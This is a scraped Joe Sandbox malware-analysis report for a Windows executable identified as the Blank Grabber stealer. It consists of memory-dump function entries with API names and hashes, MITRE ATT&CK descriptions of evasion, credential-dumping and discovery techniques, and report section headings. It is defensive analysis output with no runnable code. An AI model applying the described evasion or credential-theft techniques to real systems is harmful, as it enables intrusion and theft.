Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: CommandLine
String ID:
API String ID: 3253501508-0
Opcode ID: a301520942a2935eed22be89f00b37226108d57f68a2d87f62cb334619445c9e
Instruction ID: 406920af65c1bc59b4f391c2f6c26e712148742d9bfb213fdc01505b07d7dfbc
Opcode Fuzzy Hash: a301520942a2935eed22be89f00b37226108d57f68a2d87f62cb334619445c9e
Instruction Fuzzy Hash: D2016113B0C64295EF28F716A8021BF9EA0AF86B94F980431EE4D07369DFBDD441C324

Function 00007FF702C64B8C Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ca30e85b47fa1e18d3f1659bb3f59f1703126fc617b20a809fafb72b1d5571b6
Instruction ID: 51ee4b1526496f8f8a204d1e7f875439580121b233e206a3496e92cea626889b
Opcode Fuzzy Hash: ca30e85b47fa1e18d3f1659bb3f59f1703126fc617b20a809fafb72b1d5571b6
Instruction Fuzzy Hash: 71015E46A0CA4364FB7CB6669E4867BF9915F84BD4FC88230DD1D462D6EFADA401C238

Function 00007FF702C4A924 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

CompareStringA.KERNELBASE ref: 00007FF702C4A998

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: CompareString
String ID:
API String ID: 1825529933-0
Opcode ID: c6d6092b44314f1ca84e49c6934a556cb6b0378942b6d95cbaf43525491768f7
Instruction ID: ab79c69d1e7082899a6f46187a998a321fb3e193e172480605e05da6b5773648
Opcode Fuzzy Hash: c6d6092b44314f1ca84e49c6934a556cb6b0378942b6d95cbaf43525491768f7
Instruction Fuzzy Hash: EF012162B0869255EB107B12A80406BEB11AF99FC0F984434EE8D8BB5ACFACD0428718

Function 00007FF702C64B14 Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 00007FF702C64B69

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c516406bf9b650796cf782c2d93797a14115aaa58b2b73e6f8591929e1e8cc7b
Instruction ID: 26ba061deaa82b322bbbe4d884c55fcae358449cac1d852bbb2fef8823c733bf
Opcode Fuzzy Hash: c516406bf9b650796cf782c2d93797a14115aaa58b2b73e6f8591929e1e8cc7b
Instruction Fuzzy Hash: 17F0315AB09A0365FF7D76619D083B6EA551F88B90F8C6430C90D46291EF9CE440C238

Function 00007FF702C24554 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE ref: 00007FF702C24590

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 37315976747a324bc4a89ca9f4e050d50d4baea4dbab69f22b0b8f40f318d585
Instruction ID: 3121d0691252da345b8edb2167b65a5846d20f2cd4d932a695f164baebc04d94
Opcode Fuzzy Hash: 37315976747a324bc4a89ca9f4e050d50d4baea4dbab69f22b0b8f40f318d585
Instruction Fuzzy Hash: 89F06232A082C156DB15AB6199012F9AA50AF06BB4F484375DEBC0B2C7CF9C9088C730

Function 00007FF702C64AB4 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 00007FF702C64AF2

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a83705ac74b444f5500bec44348e0038c9b669d93df90df5323591eb77280fd7
Instruction ID: 119f810966f7cca58b8ebe42aa7af2d57fb5e86c7d426558af4d2b6af6522bbc
Opcode Fuzzy Hash: a83705ac74b444f5500bec44348e0038c9b669d93df90df5323591eb77280fd7
Instruction Fuzzy Hash: 79F0D013A8924265FB7C7A615C49277B9815F84760F880634E92D452C2DFDDE441D13C

Function 00007FF702C338A4 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 549de7c3646322cf803f0a3d8ad362b1ba55d15b021e669189a15772740b4565
Instruction ID: ac2ece301d3c817a0e972f17b045f2a273fcb18342671b7699cb5094b5c6a6aa
Opcode Fuzzy Hash: 549de7c3646322cf803f0a3d8ad362b1ba55d15b021e669189a15772740b4565
Instruction Fuzzy Hash: B6E04F52F1D342A1EF6D36222C5107B8A401F56B81E94687ACC1E47382DE5DA455D761

Function 00007FF702C6FA10 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE ref: 00007FF702C6FA20

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: ad9dbc15abe3f0918cc6563c4feaf8e34a932a80ed0fd1217961902de98c1a45
Instruction ID: ac94f3a686067c1b22c44f26798da5bf9a9774477ae9b276d2e38fc36f7ca8d1
Opcode Fuzzy Hash: ad9dbc15abe3f0918cc6563c4feaf8e34a932a80ed0fd1217961902de98c1a45
Instruction Fuzzy Hash: 90D09E6BE2AD86A6F784FB41EC4D7329A617F5479DFC90A34C41D055A1CFED2054C320

Function 00007FF702C24538 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(00000000,?,00000000,?,00007FF702C47A8C), ref: 00007FF702C24549

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: a24fb093fec38f84a6413999e1ec44e694111a5c33ce1815f6d0c44c0494d0b9
Instruction ID: 8aa6c870c943bdd95cc46a794d15fb2470322a6298ed381b1e5afdac081967ca
Opcode Fuzzy Hash: a24fb093fec38f84a6413999e1ec44e694111a5c33ce1815f6d0c44c0494d0b9
Instruction Fuzzy Hash: AAC08C32E0188181C608B7298C450241510BF44735FD00330C13E051E08F9800AB8310

Function 00007FF702C21930 Relevance: 1.3, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 00007FF702C21958

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 305123b72896ec2dd4b418a3029193d626c13bb17abecb185ad3ed686754e208
Instruction ID: ae2373483ae2627ae97b4475ee6a2049464c458dae13b62cdad238a91dba5278
Opcode Fuzzy Hash: 305123b72896ec2dd4b418a3029193d626c13bb17abecb185ad3ed686754e208
Instruction Fuzzy Hash: F1F0A423A0868265FB24BB64E840376AA50DF00B78F9D5331D63D151D9CFE8D996C760

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report HeilHitler.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Blank Grabber

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Data Obfuscation

Stealing of Sensitive Information

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

